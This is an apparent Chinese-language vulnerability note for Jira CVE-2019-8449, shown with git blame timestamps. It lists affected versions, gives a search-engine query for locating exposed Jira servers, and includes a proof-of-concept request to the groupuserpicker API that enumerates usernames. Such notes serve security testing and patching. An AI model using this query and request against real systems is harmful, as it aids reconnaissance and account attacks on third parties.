2022-05-24 17:29:00 +08:00
|
|
|
|
# Atlassian Jira groupuserpicker 用户信息枚举漏洞 CVE-2019-8449
|
|
|
|
|
|
|
|
|
|
|
|
## 漏洞描述
|
|
|
|
|
|
|
|
|
|
|
|
Atlassian Jira groupuserpicker接口存在用户信息枚举漏洞，攻击者通过漏洞可以获取应用中的使用者账户名称，来进行进一步渗透
|
|
|
|
|
|
|
|
|
|
|
|
## 漏洞影响
|
|
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
|
Atlassian Jira <8.4.0
|
|
|
|
|
|
```
|
|
|
|
|
|
|
2023-08-28 15:55:36 +08:00
|
|
|
|
## 网络测绘
|
2022-05-24 17:29:00 +08:00
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
|
app="ATLASSIAN-JIRA"
|
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
|
|
## 漏洞复现
|
|
|
|
|
|
|
|
|
|
|
|
登录页面
|
|
|
|
|
|
|
2022-12-05 11:09:28 +08:00
|
|
|
|
验证POC
|
2022-05-24 17:29:00 +08:00
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
|
/rest/api/latest/groupuserpicker?query=admin&maxResults=50&showAvatar=false
|
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
|
|
当用户存在时
|
|
|
|
|
|
|
2022-12-05 11:09:28 +08:00
|
|
|
|
|
2022-05-24 17:29:00 +08:00
|
|
|
|
|
|
|
|
|
|
当用户不存在时
|
|
|
|
|
|
|
2022-12-05 11:09:28 +08:00
|
|
|
|
|
